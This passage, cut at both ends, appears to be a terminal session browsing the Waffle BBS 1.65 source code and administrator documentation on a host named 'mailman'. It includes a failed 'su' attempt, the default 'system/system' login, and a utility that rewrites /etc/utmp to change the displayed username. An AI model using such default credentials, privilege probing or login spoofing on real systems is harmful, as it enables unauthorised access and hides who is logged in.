(BOUNTY)); user.pro.page = 24; user.pro.columns = 80; user.pro.proto = 'X'; strcpy (user.pro.phone, "408/245-SPAM"); strcpy (user.pro.editor, "none"); strcpy (user.pro.console, "none"); strcpy (user.pro.comment, "No comment.."); strcpy (user.pro.level, "0"); strcpy (user.pro.terminal, "unknown"); /* Default account */ strcpy (user.pro.name, "default"); strcpy (user.pro.pass, "*"); strcpy (user.pro.identity, "Default Account"); strcpy (user.pro.realname, "Default Account"); fprintf (stderr, "sysman: adding \"default\" account\n"); if (fwrite ((char *) &user, RECLEN, 1, fp) != 1) { fprintf (stderr, "sysman: Disk full\n"); exit (4); } pw_add (user.pro.name, 1); /* System account */ strcpy (user.pro.name, "system"); strcpy (user.pro.pass, "system"); strcpy (user.pro.identity, "SYSTEM 0PERATOR"); strcpy (user.pro.realname, "Yngwie"); strcpy (user.pro.level, "9"); user.pro.priv = 9; user.pro.access = 9; fprintf (stderr, "sysman: adding \"system\" account\n"); if (fwrite ((char *) &user, RECLEN, 1, fp) != 1) { fprintf (stderr, "sysman: Disk full\n"); exit (4); } pw_add (user.pro.name, 2); fclose (fp); fprintf (stderr, "sysman: done, use login: system, password: system\n"); } /* * sysman crunch * * Remove deleted entries from the password file. * This should be done after deleting many users. It * does not have to be done after sysman purge. * */ x_crunch() { FILE *fp, *outfp; char user [32], buf [128]; int numrec, i, num = 0; if ((fp = fopen (_pw_passfile, "rb")) != NULL) { numrec = fsize (fp) / (long) RECLEN; printf ("There are %d users in the password file.\n\n", numrec - 1); sprintf (buf, "%s.NEW", _pw_passfile); if ((outfp = fopen (buf, "wb")) == NULL) { perror (buf); exit (1); } save (fp, outfp, 0); for (i = 1; i < numrec; i++) { fseek (fp, (long) i * (long) RECLEN, 0); fgets (user, 30, fp); /* user */ if (!*user) { tag (user + 1); printf ("++ SKIPPED %d (deleted): _%s\n", i, user + 1); num++; } else save (fp, outfp, i); } fprintf (stderr, "sysman: %d deleted accounts were found\n", num); fclose (fp); fclose (outfp); juggle(); x_index(); } else perror (_pw_passfile); } /* * sysman delete * * Delete an account from the index file. However, this does * not remove the entry from the password file. Use this only * for testing the B Tree routines. * */ x_delete (argc, argv) int argc; char *argv[]; { int result; fprintf (stderr, "sysman: Warning, this is just a test function..\n"); for ( /* yip */ ; *argv; argv++) { if ((result = pw_del (*argv)) >= 0) printf ("%s: deleted\n", *argv); else printf ("%s: not found (code %d)\n", *argv, result); } } /* * sysman dump * * Display a raw dump of the contents of the index * file, for use in debugging the B Tree routines. Unlike * sysman list, this is not done recursively. * */ x_dump() { int i, j, maxnode; struct Node n; struct Node *node = &n; if (pw_open() < 0) return; maxnode = pw_getmax(); for (i = 0; i < maxnode; i++) { pw_readnode (i, node); printf ("Node %d, leaves: %d, parent: %d\n", i, pw_leaves (node), node->parent); for (j = 0; j <= MAXLEAF; j++) { printf (" leaf(%d) key(%s) son(%d) data(%d)\n", j, node->key [j], node->son [j], node->data [j]); } } pw_close(); } /* * sysman export * * Write the contents of the password file into a * comma delimited, quotes enclosed format. This can * then be imported into database programs. * */ x_export (argc, argv) int argc; char *argv[]; { FILE *fp, *out; PROFILE rec; char *outfile; long num, numrec; if (argc == 1) outfile = argv [0]; else outfile = "export.out"; if ((fp = fopen (_pw_passfile, "r")) == NULL) { fprintf (stderr, "sysman: can't open %s\n", _pw_passfile); exit (3); } if ((out = fopen (outfile, "w")) == NULL) { fprintf (stderr, "sysman: can't open output file %s\n", outfile); exit (3); } numrec = fsize (fp) / (long) RECLEN; fprintf (stderr, "sysman: %ld accounts; writing to %s\n", numrec, outfile); for (num = 1; num < numrec; num++) { fseek (fp, num * RECLEN, 0); if (fread ((char *) &rec, 1, sizeof (rec), fp) != sizeof (rec)) { fprintf (stderr, "sysman: error reading record %ld\n", num); exit (3); } /* omit deleted accounts */ if (*rec.name == 0) continue; fprintf (out, "\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",", rec.name, rec.pass, rec.identity, rec.realname, rec.phone, rec.shell); fprintf (out, "\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",", rec.editor, rec.console, rec.comment, rec.level, rec.terminal); fprintf (out, "\"%s\",\"%s\",\"%s\",\"%s\",", rec.language, rec.suite, rec.account, rec.group); fprintf (out, "\"%d\",\"%d\",\"%u\",\"%u\",\"%u\",\"%u\",", rec.access, rec.priv, rec.age, rec.color, rec.encryption, rec.help); fprintf (out, "\"%u\",\"%u\",\"%u\",\"%u\",\"%d\",\"%d\",", rec.page, rec.columns, rec.proto, rec.calltoday, rec.calls, rec.posts); fprintf (out, "\"%d\",\"%d\",\"%d\",\"%d\",\"%d\",\"%d\",", rec.mail, rec.daily, rec.upload, rec.download, rec._up, rec._down); fprintf (out, "\"%d\",\"%d\",\"%d\",\"%d\",", rec.voted, rec.timeallow, rec.mailsent, rec.index); fprintf (out, "\"%s\",\"%ld\",", timestamp (ALL, rec.connect), rec.messages); fprintf (out, "\"%s\",\"%s\",", timestamp (ALL, rec.firston), timestamp (ALL, rec.laston)); fprintf (out, "\"%s\",\"%s\",", timestamp (ALL, rec.newscan), timestamp (ALL, rec.filescan)); fprintf (out, "\"%s\",\"%ld\",\"%ld\",\"%ld\",", timestamp (ALL, rec.changed), rec._File, rec._Com, rec._Media); fprintf (out, "\"%ld\",\"%ld\",\"%ld\",\"%ld\",\"%ld\"", rec._Secure, rec._User, rec._Unuse1, rec._Unuse2, rec._Unuse3); fprintf (out, "\n"); } fclose (fp); fclose (out); fprintf (stderr, "sysman: output written to %s\n", outfile); } /* * sysman find * * Locate entries in the password file, and display * corresponding "finger" type information. Note that * this operates directly on the password file, and * does not process aliases (unlike /waffle/bin/waffle) * */ x_find (argc, argv) int argc; char *argv[]; { int result; for ( /* yip */ ; *argv; argv++) { if ((result = pw_find (*argv)) >= 0) finger (result); else printf ("%s: not found (code %d)\n", *argv, result); } } /* * sysman index * * Build the index for the password file. The password file * is not affected, but the old index file is destroyed. Take * the BBS down if you intend to rebuild the index file. * */ x_index() { fprintf (stderr, "sysman: Building index..\n"); buildindex(); fprintf (stderr, "sysman: Index complete..\n"); } /* * sysman list * * Display an alphabetized list of accounts, one * per line. This is done recursively, but we usually * won't have to recurse more than a few levels. * */ x_list (argc, argv) int argc; char *argv[]; { char *last; struct Node root; int how = 0, level = -10; if (argc >= 1) { if (!stricmp (argv [0], "brief")) how = 1; } last = argv [argc - 1]; if (isdigit (*last)) level = atoi (last); if (pw_open() < 0) return; pw_readnode (0, &root); x_list__ (&root, how, level); pw_close(); } x_list__ (node, how, level) struct Node *node; int how, level; { int i, num; struct Node son; num = pw_leaves (node); for (i = 0; i <= num; i++) { if (i != 0) { switch (how) { case 0: listrec (node->data [i], how, level); break; case 1: if (level < -9) printf ("%s\n", node->key [i]); else listrec (node->data [i], how, level); break; } } if (node->son [i]) { pw_readnode (node->son [i], &son); x_list__ (&son, how, level); } } } listrec (num, how, level) int num, how, level; { FILE *fp; PROFILE rec; if ((fp = fopen (_pw_passfile, "rb")) != NULL) { fseek (fp, (long) num * (long) RECLEN, 0); if (fread ((char *) &rec, 1, sizeof (rec), fp) == sizeof (rec)) { if (level < -9 || rec.access == level) { if (how == 0) { printf ("%2d %-10.10s %3d %3d ", rec.access, rec.name, rec.calls, rec.posts); printf ("%9.9s %-12.12s %.22s\n", timestamp (ALL, rec.laston), rec.phone, rec.identity); } else printf ("%s\n", rec.name); } } fclose (fp); } else perror (_pw_passfile); } /* * sysman purge * * Remove old accounts from the password file, * based on criteria supplied by the user. It's * recommended this be done manually, as many * accounts may be purged at once. * */ x_purge (argc, argv) int argc; char *argv[]; { time_t now; PROFILE rec; FILE *fp, *outfp; char buf [BUFSIZ]; int numrec, i, purged = 0; time_t target; int uAccess, uCalls = 1, uDays = 180; if (argc >= 3) { uAccess = atoi (argv [0]); uCalls = atoi (argv [1]); uDays = atoi (argv [2]); } else { banner(); printf ("PURGE will remove user accounts based on selected criteria\n"); printf ("of number of calls, access level, and date of last call.\n\n"); printf ("This will create a PASSWORD.NEW file which may then\n"); printf ("be used to replace the original password file if desired.\n"); } if ((fp = fopen (_pw_passfile, "rb")) != NULL) { numrec = fsize (fp) / (long) RECLEN; printf ("\nThere are %d users in the password file.\n\n", numrec - 1); if (argc < 3) { printf ("Maximum access level to purge? "); fgets (buf, BUFSIZ, stdin); uAccess = atoi (buf); printf (" Maximum number of calls? "); fgets (buf, BUFSIZ, stdin); if (*buf > ' ') uCalls = atoi (buf); printf (" Not called for [180] days? "); fgets (buf, BUFSIZ, stdin); if (*buf > ' ') uDays = atoi (buf); printf ("\n"); } printf ("Matching criteria:\n\n"); printf ("At or below access %d\n", uAccess); printf ("Have called %d or fewer times\n", uCalls); printf ("Not called for %d days\n\n", uDays); if (argc != 4) { printf ("Purge accounts (y/n)? "); fgets (buf, BUFSIZ, stdin); if (*buf != 'y' && *buf != 'Y') exit (0); } target = time (&now) - (uDays * 86400L); printf ("\n"); sprintf (buf, "%s.NEW", _pw_passfile); if ((outfp = fopen (buf, "wb")) == NULL) { perror (buf); exit (1); } save (fp, outfp, 0); for (i = 1; i < numrec; i++) { fseek (fp, (long) i * (long) RECLEN, 0); if (fread ((char *) &rec, 1, sizeof (rec), fp) != sizeof (rec)) { fprintf (stderr, "sysman: error reading record %d\n", i); exit (3); } if (*rec.name == 0) *rec.name = '_'; /* special accounts */ printf ("%-10s Access: %2d Calls: %4d Laston: %9.9s ", rec.name, rec.access, rec.calls, timestamp (DATE, rec.laston)); if (*rec.name == '_') { printf ("(CRUNCHED)\n"); continue; } if (rec.access < 0 || !stricmp (rec.name, "default")) { printf ("(saved)\n"); save (fp, outfp, i); continue; } if (rec.access <= uAccess && rec.calls <= uCalls && rec.laston < target) { printf ("(PURGED)"); purged++; } else save (fp, outfp, i); printf ("\n"); } fclose (fp); fclose (outfp); } else { perror (_pw_passfile); exit (2); } if (argc != 4) { printf ("\n%d accounts in password file\n", numrec - 1); printf ("%d of these will be purged if you answer Y.\n", purged); printf ("\nActivate these changes? "); fgets (buf, BUFSIZ, stdin); if (*buf != 'y' && *buf != 'Y') exit (0); } juggle(); fprintf (stderr, "\nsysman: %d accounts were purged\n", purged); sprintf (buf, "%d accounts purged", purged); syslog ("events", "< sysman >", buf); x_index(); } /* * sysman retire * * Remove old files from user directories, * but retain associated accounts. * * This function is undocumented because it is * extremely dangerous. (If your clock is wrong, * it could clobber your user directories.) * */ int _retire_days; char *_retire_wild; extern int dirage(), checkage(); x_retire (argc, argv) int argc; char *argv[]; { if (argc >= 2) { _retire_days = atoi (*argv++); _retire_wild = *argv; foreach (xUser, "*.*", dirage); } } /* * f i n g e r * * Display "finger" type information pertaining * to the given account number. * */ finger (num) int num; { FILE *fp; PROFILE rec; if ((fp = fopen (_pw_passfile, "r")) != NULL) { fseek (fp, (long) num * (long) RECLEN, 0); if (fread ((char *) &rec, 1, sizeof (rec), fp) != sizeof (rec)) { fprintf (stderr, "sysman: error reading record %ld\n", num); exit (3); } fclose (fp); printf ("\nACCOUNT PROFILE - %s (record %d)\n\n", rec.name, num); printf (" User: %s (%s)\n", rec.name, rec.identity); printf (" Phone: %s (%s)\n", rec.phone, rec.realname); printf (" Calls: %d\n", rec.calls); printf (" Posts: %d\n", rec.posts); printf ("Last on: %s\n", timestamp (ALL, rec.laston)); } else perror (_pw_passfile); } /* * c r e a t i n d e x * * Creates a blank index file. The existing * index file is clobbered. Dangerous. * */ createindex() { struct Node *root; root = pw_newnode(); if ((_pw = fopen (_pw_indexfile, "wb")) != NULL) { pw_writenode (0, root); fclose (_pw); _pw = NULL; } else perror (_pw_indexfile); } /* * b u i l d i n d e x * * Cycles through the existing password file, and * calls pw_add to add each account to the index file. * Deleted accounts are signified by a leading NUL * and are ignored. * */ buildindex() { FILE *fp; char buf [32]; int i = 1; long offset = RECLEN; createindex(); if ((fp = fopen (_pw_passfile, "rb")) != NULL) { while (fseek (fp, offset, 0) == 0) { if (fgets (buf, 20, fp)) { tag (buf + 1); if (*buf) { printf ("%04d %s\n", i, buf); pw_add (buf, i); } else printf ("%04d ++ SKIPPED (deleted): _%s\n", i, buf + 1); i++; offset += RECLEN; } else break; } fclose (fp); } else perror (_pw_passfile); } /* * c h e c k p a s s * * Cycle through the password file to verify that * all existing accounts are present in the index file. * */ checkpass() { FILE *fp; int status; char user [32]; int numrec, i; if ((fp = fopen (_pw_passfile, "rb")) != NULL) { numrec = fsize (fp) / (long) RECLEN; for (i = 1; i < numrec; i++) { fseek (fp, (long) i * (long) RECLEN, 0); fgets (user, 30, fp); /* user */ tag (user + 1); if (*user && (status = pw_find (user)) < 0) { errs++; printf ("%03d: Cannot locate \"%s\", code %d\n", i, user, status); } } fclose (fp); } else perror (_pw_passfile); } /* * c h e c k i n d e x * * Cycle through the index file recursively and * alphabetically. Check to see that each account exists * at that location in the password file. * */ checkindex() { int status; struct Node root; if ((status = pw_open()) < 0) { fprintf (stderr, "sysman: Error %d\n", status); exit (1); } pw_readnode (0, &root); checkin__ (&root); pw_close(); } checkin__ (node) struct Node *node; { int i, num; struct Node son; num = pw_leaves (node); for (i = 0; i <= num; i++) { if (i != 0) { verify (node->data [i], node->key [i]); } if (node->son [i]) { pw_readnode (node->son [i], &son); checkin__ (&son); } } } /* * v e r i f y * * Check to see that the given key exists in the * location pointed to by "data" in the password file. * If this check fails, the index is corrupt and * should be rebuilt. * */ verify (data, key) int data; char *key; { FILE *fp; char buf [32]; if ((fp = fopen (_pw_passfile, "rb")) != NULL) { if (fseek (fp, (long) data * (long) RECLEN, 0) != 0) { errs++; perror ("verify"); } else if (fgets (buf, 20, fp)) { tag (buf); tag (key); if (strcmp (key, buf)) { errs++; printf ("%s != %s: MISMATCH (record %d)\n", key, buf, data); } } else { errs++; printf ("Account \"%s\": FILE DAMAGED (record %d is past end)\n", key, data); } fclose (fp); } else perror (_pw_passfile); } /* * c h e c k o r p h a n * * Function called by "foreach" in sysman clean. * This verifies that the user exists, and if not, * removes the directory. Also removes empties. * */ int checkorphan (dir, name) char *dir, *name; { char wild [128]; if (!stricmp (name, "orphan")) return 0; if (pw_find (name) < 0) { printf ("user \"%s\" no longer exists\n", name); sprintf (wild, "%s/%s", xUser, name); convert (wild, '/', '\\'); foreach (wild, "*.*", nukeorphan); } /* Attempt to remove the directory */ sprintf (wild, "%s/%s", xUser, name); convert (wild, '\\', '/'); if (rmdir (wild) >= 0) printf ("%s: directory empty, removed\n", wild); return 0; } /* * n u k e o r p h a n * * Function called by "foreach" in checkorphan. * Removes all files inside the user's directory. * */ int nukeorphan (full, small) char *full, *small; { convert (full, '\\', '/'); if (unlink (full) >= 0) printf (" -> removed %s\n", full); else perror (full); return 0; } /* * d i r a g e * * Function called by "foreach" in sysman retire. * Calls checkage to remove outdated files in the * directory, and checks to see if the directory * is blank by attempting to remove it. * */ dirage (dir, name) char *dir, *name; { foreach (dir, _retire_wild, checkage); if (rmdir (dir) >= 0) printf ("directory %s empty, removed\n", dir); } /* * c h e c k a g e * * Function called by "foreach" in dirage. Determines * the dates of all files in the directory, and removes * old files matching the x_retire criteria. * */ checkage (full, small) char *full, *small; { time_t age, now; age = (time (&now) - filedate (full)) / 86400L; if (age > _retire_days) { if (unlink (full) >= 0) printf ("%s -> %ld days old, deleted\n", full, age); else perror (full); } } /* * j u g g l e * * After a replacement password file has been built, * enable it by switching it with the old file. Needed * by the purge and crunch functions. * */ juggle() { char buf [128]; /* Remove the old backup */ sprintf (buf, "%s.OLD", _pw_passfile); unlink (buf); /* Backup current file. We'll keep it around in case accounts were accidentally deleted */ rename (_pw_passfile, buf); /* Replace the previous file */ sprintf (buf, "%s.NEW", _pw_passfile); rename (buf, _pw_passfile); } /* * s a v e * * Copy the user record from input file to the * output file. Used by sysman crunch, purge, etc. * */ save (fp, outfp, rec) FILE *fp, *outfp; int rec; { char buf [RECLEN]; fseek (fp, (long) rec * (long) RECLEN, 0); if (fread (buf, 1, RECLEN, fp) > 0) { if (fwrite (buf, RECLEN, 1, outfp) != 1) { fprintf (stderr, "sysman: Disk full\n"); exit (4); } } else perror ("save"); } mailman% su Password: Sorry mailman% ls Makefile arclist.c convpw.c mailin.c setname.c wafalias.c NOTE arclist.h mailbox.h makebox.c sysman.c mailman% cat setname.c /* * setname.c 1.65 * * Sets the username for {who,w} to argument. * Requires superuser privilege. * * (C) Copyright 1991 Thomas E Dell * */ #include #include #include #include #ifdef ULTRIX #include #else #ifndef AUX #include #endif #endif #ifdef AUX #include #endif extern char *ttyname(); int fd; long loc; struct utmp ut; main (argc, argv) int argc; char *argv[]; { char *tty; if (argc != 2) { fprintf (stderr, "usage: setname username\n"); exit (1); } tty = ttyname (fileno (stdin)); if (!strncmp (tty, "/dev/", 5)) tty += 5; if ((fd = open ("/etc/utmp", O_RDWR)) >= 0) { while (loc = tell (fd), read (fd, (char *) &ut, sizeof ut) > 0) { if (*ut.ut_line && !strcmp (ut.ut_line, tty)) { if (lseek (fd, loc, 0) < 0) error ("/etc/utmp: lseek"); strncpy (ut.ut_name, argv [1], 8); if (write (fd, (char *) &ut, sizeof ut) < 0) error ("/etc/utmp: write"); break; } } close (fd); } else error ("/etc/utmp"); exit (0); } error (mes) char *mes; { perror (mes); exit (1); } mailman% ls Makefile arclist.c convpw.c mailin.c setname.c wafalias.c NOTE arclist.h mailbox.h makebox.c sysman.c mailman% cat wafalias.c /* * WAFALIAS * * Generate alias list for sendmail * for importation of mail into Waffle BBS * * (C) Copyright 1990 Thomas E Dell * dell@vox.darkside.com * */ #include #include #ifdef UNIX #include #endif #include "../lib/lib.h" #include "../lib/profile.h" char *xBin = "", *xDaylight = "", *xNode = "", *xSmarthost = "", *xTimezone = "", *xUucpname = "", *xWaffle = ""; int westward = 0; TABLE table[] = { "node", CHAR, 0, (ptr) &xNode, "smarthost", CHAR, 0, (ptr) &xSmarthost, "timezone", CHAR, 0, (ptr) &xTimezone, "uucpname", CHAR, 0, (ptr) &xUucpname, "waffle", CHAR, REQ, (ptr) &xWaffle, NULL, 0, 0, (ptr) NULL }; /* Add any accounts you do not want mail to be sent to this list.. maybe this should be in a file someday */ static char *forbidden[] = { "default", "uucp", "root", "daemon", "ftp", "nobody", NULL }; main (argc, argv) int argc; char *argv[]; { FILE *fp; char *s, **list; char buf [RECLEN]; char command [128], password [128]; if (!configure (table)) exit (1); sprintf (command, "%s/mailin", xBin); sprintf (password, "%s/admin/password", xWaffle); if ((fp = fopen (password, "rb")) != NULL) { if (fread (buf, 1, RECLEN, fp) > 0) { while (fread (buf, 1, RECLEN, fp) > 0) { for (s = buf; *s && *s > ' '; s++); *s = 0; if (!*buf || *buf == '+') continue; for (list = forbidden; *list; list++) { if (!strcmp (buf, *list)) goto CONTINUE; } #ifdef UNIX /* Do not allow BBS accounts matching those in the shell.. */ if (getpwnam (buf)) continue; #endif printf ("%s: \"| %s %s\"\n", buf, command, buf); CONTINUE: /* yip */ ; } } fclose (fp); } else fprintf (stderr, "wafalias: can't open %s\n", password); } mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir text mailman% ls change failed filestat logwarn newusers status welcome entry feedback loghelp master nofiles time excuse files logout moderate nojoin unfiles mailman% change logout change: Permission denied. mailman% cat logwarn User authorization failure. mailman% cat master [] Xilinx BBS +1 800 457 4431 [] Public Download Sections mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir docs mailman% ls INDEX files.doc legal.doc roadmap.doc update.doc README forum.doc manual.doc static.doc user.doc all.doc future.doc nntp.doc sysman.doc dos-waf.ad history.doc register.doc unix-waf.ad extern.doc intro.doc release.165 unix.doc mailman% cat sysman.doc Waffle / SYSMAN program documentation - Version 1.65 (C) Copyright 1992 Darkside International, All Rights Reserved. SYSMAN CREATE This will create a new password and index file. Don't use this unless you are starting a new system from scratch, or have somehow lost your password file. After this is run, there will be one account: Login: system Password: system You MUST run sysman create when installing on a Unix system, since the password file is binary and not portable between different architectures. SYSMAN CHECK Performs consistency checks on the password and index files. The first check, sysman: Performing index accuracy check.. verifies that all entries in the index file do indeed point to the same accounts in the password file. The second check, sysman: Performing index presence check.. ensures that all accounts listed in the password file are contained within the index file. If there are problems, you will see the message sysman: 1 error(s) were encountered Should you find this message, the general tactic would be to rebuild the index file using SYSMAN INDEX. This should never happen, but we try not to say never. SYSMAN CLEAN Removes directories from users that have been deleted. You might run this after an SYSMAN PURGE, or if you have deleted many users from within Waffle. SYSMAN CRUNCH Removes any deleted accounts from the password file. Normally, when a user is deleted, the entry in the password file is zeroed and a "skeleton" remains. This allows an account to be recovered if it was inadvertently deleted (by using a binary editor.) Note, it is not necessary to run CRUNCH after a PURGE, as this is done automatically during the purge itself. SYSMAN EXPORT Export will write a comma-separated and quote-enclosed list of fields from accounts in the password file to an ASCII file. sysman export filename.ext writes to the file 'filename.ext'; by default, export.out is used. SYSMAN FIND Determines whether an account is present; will print the record number of the user in question. sysman find jeff Multiple names may be specified. SYSMAN INDEX Builds the index file to the password file. In order to run the Waffle program, there needs to be an index (this is not true of versions below 1.65, but is very important now.) SYSMAN LIST Displays an alphabetized list of the users in the password file, one per line. Included in this list are (in order): Access level Username Number of calls Number of posts Time of last call Phone number Identity There are "brief" and "level" options: sysman list brief List just the username alone sysman list 4 List all level 4's sysman list brief 0 List all 0's in brief mode Brief mode is useful if you would like to divert the output to the /waffle/system/validate file, where these users can be revalidated, for a mass access upgrade. SYSMAN PURGE Removes old accounts. This replaces the old 'purge' program that was supplied previously with Waffle. With no arguments, SYSMAN PURGE will go through a questionaire, requesting Access The highest level you wish to have purged Calls Anyone with more than this number will not be purged Days Number of days that the account has not been used When arguments are supplied, the questionaire is skipped and those numbers used instead. Note, if your system time was ever incorrect, you may accidentally delete accounts this way. sysman purge For example, sysman purge 1 5 90 will remove all users access 1 or less, who have called 5 or fewer times, and haven't called for 90 days. After the purge, if you ran in interactive mode, you will be asked if you would like to Activate these changes? y If no, the password file is not updated but a copy with the changes is kept in a admin/password.NEW file. SYSMAN PURGE will never remove accounts with access below zero (these are usually DOS UUCP accounts), or the "default" account. If you want to automate SYSMAN PURGE in a shell script or batch file, a trailing "y" will cause the procedure to be run noninteractively: sysman purge 1 5 90 y SYSMAN RETIRE Removes old files from user directories. Although this works with Unix, it's intended for DOS since there is no functionality equivalent to the Unix "find" command. Syntax of this command is sysman retire (#days) (wildcard) The following command removes JOIN files older than 6 months: sysman retire 180 join To remove mailboxes that haven't been updated in 8 months: sysman retire 240 mailbox.* Use with caution. If the dates on the files are wrong, you can unintentionally lose files. We recommend NOT using *.* as the wildcard, or you probably will lose stuff you want to keep. Unix users may have to escape wildcards containing *'s and ?'s. In any event we recommend using find(1) instead. -- dell@vox.darkside.com (C) Copyright 1992 Darkside Int'l mailman% ls INDEX files.doc legal.doc roadmap.doc update.doc README forum.doc manual.doc static.doc user.doc all.doc future.doc nntp.doc sysman.doc dos-waf.ad history.doc register.doc unix-waf.ad extern.doc intro.doc release.165 unix.doc mailman% cat manual.doc Waffle v1.65 / Administration Reference Manual (C) Copyright 1992 Darkside International, All Rights Reserved. C O N T E N T S I Maintenance II Privileged Commands III Accounts IV Electronic Mail V Additional VI Turning Things Off ----------/ MAINTENANCE /---------------------------------------------------- This manual hopes to explain some of the day-to-day operation of running Waffle as a BBS. Some of these activities include: o New users must be validated. o System logs should be monitored, both to make sure nothing fishy is going on, and to make sure the system is functioning as it should. o In particular, if you are a Usenet or UUCP site, related logs should be monitored. Events on your neighboring sites may have an adverse effect on yours. o Pests, or twits, must be dealt with. o Feedback should be attended to, and questions answered. ----------/ PRIVILEGED COMMANDS /-------------------------------------------- There are a number of commands that are reserved for privileged users. Generally these are geared towards operations on user accounts, display of system information and logs, and manipulating files. More dangerous commands have higher privilege requirements. o ADMIN command Accounts may be created, removed, or modified by any privileged user with the ADMIN command. To change a user's common parameters, you can use the ADMIN E command. Extended parameters may be changed with other ADMIN commands (type ADMIN ?). Remove accounts with ADMIN DELETE (the dreaded admin d'). Generally there is no need to add accounts with ADMIN, as they are handled by the newuser request mechanism (typing NEW at the login prompt). o Reviewing system logs Waffle keeps records of various interesting occurrences by writing to logfiles located in the /waffle/admin directory. For instance, when someone attempts to login to an account but fails, Waffle writes an entry into the "logfail" log. You can examine this log by the command "SHOW LOGFAIL", or "SHOW 100 LOGFAIL". Most important among these logs is the "events" log, containing information that the SYSTEM 0PERATOR should know about: vital files missing, use of the ADMIN command, entering the operating system. It is so often used that "EVENTS" is a synonym for "SHOW EVENTS". A privilege level of 6 is required to examine system logs. For more information on individual logs, see the descriptions of files in the "/waffle/admin" directory in ROADMAP.DOC. o Reading FEEDBACK To facilitate multiple SYSTEM 0PERATORS, feedback is sent to a common "system" account. Use the SYSMAIL command (often abbreviated SYS) to read and respond to feedback. The responses will still have your account as the originator, so any replies are sent to your account. You should make it a point to read and respond to feedback on a regular basis. Your users will appreciate it. o Validating new users Use the VALIDATE command to validate new users. This should be run daily, or at minimum every other day. It will read through the /waffle/system/validate file, selecting new users since the last VALIDATE command. You are then given a choice to "Yes/No/Kill" the user. YES will result in an ADMIN EDIT for that user. NO will postpone the processing of this user until later. KILL will remove the user; this is recommended for undesirables and users who have given obviously phony numbers. If you don't want the hassle of validating your users, set the default account's access level to 1. Lowering the access required for various actions is another approach. If you do either of these, make judicious use of the "refuse" file. A privilege level of 7 is required to VALIDATE users. o Entering the operating system A potentially dangerous command is SHELL. This will place you in the Unix or DOS shell, which can be Incredibly_Bad in the wrong hands. To leave the shell, type "exit" (for both Unix and DOS). Arguments may be given on the command line to execute a single shell command; for instance "shell copy file1 file2". The highest privilege, 9, is required for SHELL access. To change the shell used, edit the "shell" and "command" lines in the /waffle/extern/_system file. Particularly, the "shell" line tells Waffle how to enter the OS, and the "command" line tells Waffle how to spawn a single command or a subprocess (as when arguments are given to the SHELL command). Any "SHELL" or "COMSPEC" environment variables are deliberately ignored. o File Manipulation Commands that are designed for manipulating files are similar to the equivalent Unix or DOS commands, and won't be described in great detail. They include CD, HOME, DELETE, DIR, EDIT, PATH, RENAME, TAIL, and TYPE. CD and PATH are equivalent; they are used to change directories. Please note that the EDIT command can only edit text files whose line count does not exceed the maximum specified in the static file's "buflines" parameter, unless you use an external editor. The TAIL command is used to look at the end of files. To see the last 100 lines, use the syntax "TAIL 100 FILENAME". Since file manipulation can be used to manipulate Waffle's control files, a privilege level 9 is required to use these commands. Some of these commands are available to nonprivileged users for operations on their home directories (privileged users may use these on any file). Additionally, within the FILES section, privileged users have two additional commands to aide in cleanup; from the (> prompt in the FILES section, ^E will edit a file and ^D will delete a file. ----------/ ACCOUNTS /------------------------------------------------------- o Guest Accounts To designate that an account has no password, use ADMIN EDIT to assign it to a single blank space. You might create a "guest" account with this characteristic. If you do create guest accounts, we suggest that you assign them level -1 to prevent password changes. o Captive accounts To create a captive account (one that is dedicated to a specific BBS function) use the ADMIN S command to change that user's shell to the BBS command of your choice: mail - account goes directly into MAIL files - account is for file transfers only files /special - file transfers from a /special directory Accounts with a password of a single asterisk, "*", cannot be used to login. In particular, this is necessary for "default". o Special accounts For special purposes, a # in front of the shell will cause a variety of interesting things to occur: #exit number - Exit WAFFLE with a given status code, or errorlevel; for example, "#exit 40". #drop filename - Disconnect user after displaying file. If the filename is omitted, no file is displayed. #type filename - Display a file, but do not disconnect user. #new name pass - Inform user of new name & password. If you have to change someone's account, use this technique. o Frontend accounts Similar to the captive accounts described above, the shell may also contain a Unix or DOS command, which will be run instead of logging in the BBS: !ps -aux - Run the 4.3 Unix "ps" command $uucico -b%b - Applies to the DOS version. Pass the modem speed and device to the DOS uushell batch file. WAFFLE.EXE is exited before running the command. !game -u%A - Run some unspecified game, passing the account used as the argument to the -u option +game -u%A - Applies to the DOS version. Run the same game, except have Waffle handle the COMM I/O. As shown above, if while running under DOS your command needs to have Waffle handle its modem input and output, use + instead of !. o Startup files If present, a file "waffle" in a user's home directory will be executed whenever that user logs in. For instance, a user who does not have lowercase may have the line "term lower" in his waffle file. By the way, it is considered poor taste (but incredible fun) to place the line "term wolverine" in a user's waffle file. Common uses of this include "term lower", "term slow", and creative applications of the prompt command. o Negative access levels Any accounts with access below 0 may not change passwords, or any configurable information in the STATUS command (there are reasons). Accounts with level -1 do not show in caller log. Accounts with level -2 do not show up in the caller log at all. Level -2 should be used for uucp and other similar external programs. o Bogus Levels Bogus levels (the Level: field in ADMIN EDIT) are a text string that may be anything. This allows cuteness such as "Level 6502:", etc. These have no real bearing on anything whatsoever, and your system may elect to not use this field. By default, these are turned off. o Privileged accounts Privilege levels determine sysop access. In most cases, this is 0 for a normal user, and 9 for a privileged user (sysop). There are some intermediate privilege levels available, and are described elsewhere in this document. o Restriction by groups The "group" field in the password file (accessed by admin x) contains a list of groups the user belongs to. Forums and external commands may restrict the use of features to people in a specific group by using the /group= qualifier. Multiple groups are specified in a /group= by separating them with commas, for example /group=15,16. As an example, suppose a user has "group: 11,12,22" in his account profile. He may now access externals that have /group=11, but will be unable to run anything that has /group=15. Any group restrictions are ignored if the user is a sysop. ----------/ ELECTRONIC MAIL /------------------------------------------------ o Aliases and mailing lists The system wide mail alias list is kept in /waffle/system/aliases. It may contain any number of aliases, but the lines must be kept at 80 chars or less. Each line consists of the alias, followed by whitespace, and the list of recipients. Aliases may be nested. An example of this file is: postmaster system root sysops sysops john remotes remotes bob buddha maddox Mail sent to "postmaster" gets diverted to the feedback (system) name. Here "john" is the sysop of the system, and he has three remote sysops: bob, buddha, and maddox. This is an example of a nested mail alias. Also, mail sent to root (Unix superuser account) gets sent to the sysops list. The EXPAND command will print a list of recipients of a given mail alias, alphabetically sorted with duplicates removed. o Mail forwarding Mail may be forwarded in two ways - by use of the 